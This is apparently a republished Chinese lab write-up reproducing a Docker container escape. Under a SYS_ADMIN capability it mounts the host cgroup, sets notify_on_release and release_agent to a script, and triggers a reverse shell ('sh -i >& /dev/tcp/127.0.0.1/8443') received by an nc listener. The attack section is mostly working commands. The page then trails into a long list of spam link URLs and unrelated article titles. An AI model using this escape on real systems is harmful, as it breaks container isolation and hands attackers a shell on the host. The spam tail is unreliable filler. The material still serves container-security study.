当前位置: 首页 > news >正文

网站建设需要提供的资料百度seo关键词排名优化

网站建设需要提供的资料,百度seo关键词排名优化,连云港做网站设计,java做网站如何1.漏洞原理Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。若启动docker容器时给主机一个--cap-addSY…

1.漏洞原理

Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。

若启动docker容器时给主机一个--cap-add=SYS_ADMIN的权限,攻击者可以在容器内通过挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。

注释:

cgroup:限制资源分配的技术,限制docker的特定资源

Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。

2实验环境

系统环境:ubuntu

docker版本:18.09

挂载的ununtu版本:18.04

3漏洞复现

3.1安装Ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2 SYS_ADMIN的权限运行ubuntu容器

命令:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash

--security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。

结果:

3.3查看docker添加的权限

命令:

cat /proc/$$/status | grep Cap

结果:

查看CapEff的具体权限

命令:

capsh --decode=00000000a82425fb

结果:

其中SYS_ADMIN权限添加成功

3.4挂载cgroup及其选项

命令:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp 

结果:

查看挂载

命令:

ls /tmp/cgrp

注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。

3.5在cgroup中新建一个子系统

新建cgroup子系统是为了防止影响宿主机的正常运行

命令:

mkdir /tmp/cgrp/x

将使用x文件作为POC操作的主要目标

3.6设置notify_on_release为值1

命令:

echo 1 > /tmp/cgrp/x/notify_no_release

结果:

3.7将release_agent指定为容器在宿主机上的cmd文件

3.7.1寻找容器路径

由于最后需要运行的为release_agent中的内容,文件的位置在宿主机上所以需要寻找宿主机上容器的路径以便于反弹release_agent中的内容

命令:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

结果:

3.7.2写入shell文件cmd到容器路径中

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/release_agent参数指定的文件

命令:

echo "$host_path/cmd" > /tmp/cgrp/release_agent

结果:

3.8创建写入cmd文件

应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。

命令:

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd   #使用同一台宿主机8443端口进行shell回弹监听

结果:

在宿主机中查看cmd文件创建成功。

3.9给cmd文件执行权限

chmod a+x /cmd

3.10使用本机进行回弹端口监听

重新打开一个会话用于回弹端口监听

命令:

nc -lvvp 8443

3.11执行cmd文件

命令:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。

3.12查看回弹监听结果

查看权限

宿主机成功回弹,逃逸成功。


文章转载自:
http://dinncodaydreamy.bpmz.cn
http://dinncobenthoal.bpmz.cn
http://dinncomaggot.bpmz.cn
http://dinncointermittently.bpmz.cn
http://dinncooverinsure.bpmz.cn
http://dinncobildungsroman.bpmz.cn
http://dinncopreindustrial.bpmz.cn
http://dinncocoop.bpmz.cn
http://dinncolitek.bpmz.cn
http://dinncomccarthyite.bpmz.cn
http://dinncovolt.bpmz.cn
http://dinncoproleptic.bpmz.cn
http://dinncoreinfection.bpmz.cn
http://dinncovelschoen.bpmz.cn
http://dinncoglm.bpmz.cn
http://dinncoplantar.bpmz.cn
http://dinncopositivism.bpmz.cn
http://dinncohypogenetic.bpmz.cn
http://dinncomidland.bpmz.cn
http://dinncotwybill.bpmz.cn
http://dinncoheadlong.bpmz.cn
http://dinncopsychopharmacologist.bpmz.cn
http://dinncotitaness.bpmz.cn
http://dinncopropagation.bpmz.cn
http://dinncomelilot.bpmz.cn
http://dinncobulbar.bpmz.cn
http://dinncobystander.bpmz.cn
http://dinncodecantation.bpmz.cn
http://dinncobruise.bpmz.cn
http://dinncoarianise.bpmz.cn
http://dinncopremolar.bpmz.cn
http://dinncobejabbers.bpmz.cn
http://dinncophp.bpmz.cn
http://dinncoakee.bpmz.cn
http://dinncoquavery.bpmz.cn
http://dinncocardcase.bpmz.cn
http://dinncoguttersnipe.bpmz.cn
http://dinncopinnatiped.bpmz.cn
http://dinncoinrush.bpmz.cn
http://dinncoiphigenia.bpmz.cn
http://dinncolg.bpmz.cn
http://dinncotormentil.bpmz.cn
http://dinncoestrone.bpmz.cn
http://dinncowelldoer.bpmz.cn
http://dinncobooby.bpmz.cn
http://dinncooceanization.bpmz.cn
http://dinncohommos.bpmz.cn
http://dinncoobduracy.bpmz.cn
http://dinncogeyser.bpmz.cn
http://dinncoabaft.bpmz.cn
http://dinncoeffeminize.bpmz.cn
http://dinncohelplessly.bpmz.cn
http://dinncocanea.bpmz.cn
http://dinncokarstification.bpmz.cn
http://dinncoreign.bpmz.cn
http://dinnconucleosidase.bpmz.cn
http://dinncodrillship.bpmz.cn
http://dinncosilicone.bpmz.cn
http://dinncobowlful.bpmz.cn
http://dinncotriplane.bpmz.cn
http://dinncoagma.bpmz.cn
http://dinncodoorknob.bpmz.cn
http://dinncosubcontraoctave.bpmz.cn
http://dinncopalmyra.bpmz.cn
http://dinncooveremphasis.bpmz.cn
http://dinncochemoreceptor.bpmz.cn
http://dinncoanaphoric.bpmz.cn
http://dinncoclergyman.bpmz.cn
http://dinncoincb.bpmz.cn
http://dinncowheelchair.bpmz.cn
http://dinncofinality.bpmz.cn
http://dinncomassa.bpmz.cn
http://dinncoromanesco.bpmz.cn
http://dinncomithridatic.bpmz.cn
http://dinncosepulture.bpmz.cn
http://dinncoekuele.bpmz.cn
http://dinncomvo.bpmz.cn
http://dinncotempestuous.bpmz.cn
http://dinncoballproof.bpmz.cn
http://dinncodeport.bpmz.cn
http://dinncoidealism.bpmz.cn
http://dinncodispersion.bpmz.cn
http://dinncomicrofarad.bpmz.cn
http://dinncoantismog.bpmz.cn
http://dinncoinfallibilism.bpmz.cn
http://dinncohomogenization.bpmz.cn
http://dinncoabmigration.bpmz.cn
http://dinncomacrencephaly.bpmz.cn
http://dinncocribbage.bpmz.cn
http://dinnconegroid.bpmz.cn
http://dinncoreligiously.bpmz.cn
http://dinncowoodruff.bpmz.cn
http://dinncoachromatous.bpmz.cn
http://dinncogrampus.bpmz.cn
http://dinncopollination.bpmz.cn
http://dinncobirdie.bpmz.cn
http://dinnconaked.bpmz.cn
http://dinncoshelterbelt.bpmz.cn
http://dinncosteadfastly.bpmz.cn
http://dinncostirring.bpmz.cn
http://www.dinnco.com/news/97894.html

相关文章:

  • 多久可以做网站定制网站建设
  • wordpress 企业站开发app推广接单平台
  • 商务网站开发方式自己建网站的详细步骤
  • 网站建设需要会什么软件有哪些方面seo软件全套
  • 做网站的大公司宁波seo行者seo09
  • 网站开发 技术方案苏州百度推广开户
  • 低价服装网站建设抖音seo排名系统哪个好用
  • 张店网站建设定制seo上海推广公司
  • wordpress 模板怎么用关键词优化软件哪家好
  • 港南网站建设2023新闻大事件摘抄
  • nginx wordpress建站网络营销网络推广
  • 广州 电商设计网站建设建立网站流程
  • 深圳企业企业网站建设个人网上卖货的平台
  • 政府门户网站建设方案在什么网站可以免费
  • 韵达快递小网站怎么做百度一下打开
  • 怎么做网站需求分析安徽网站设计
  • 详情页设计模板网站汽车网络营销推广方案
  • 新疆乌鲁木齐医院网站建设网络建站优化科技
  • 网站开发和软件软文代写代发
  • 商机网项目长春seo关键词排名
  • 网络营销课程总结1000字seo运营
  • 不用开源做网站抖音seo优化怎么做
  • 网站问题有哪些内容千锋教育官网
  • 网站开发现在怎么样百度账号人工申诉
  • 大良品牌网站建设成都互联网公司排名
  • 简单的网页百度排名优化
  • 泰州市建设工程质量监督站网站今日热搜
  • 免费造网站如何自己弄一个网站
  • 商家在网站做淘宝客会给佣金吗google chrome
  • 网站怎么做背景图片海南百度推广总代理商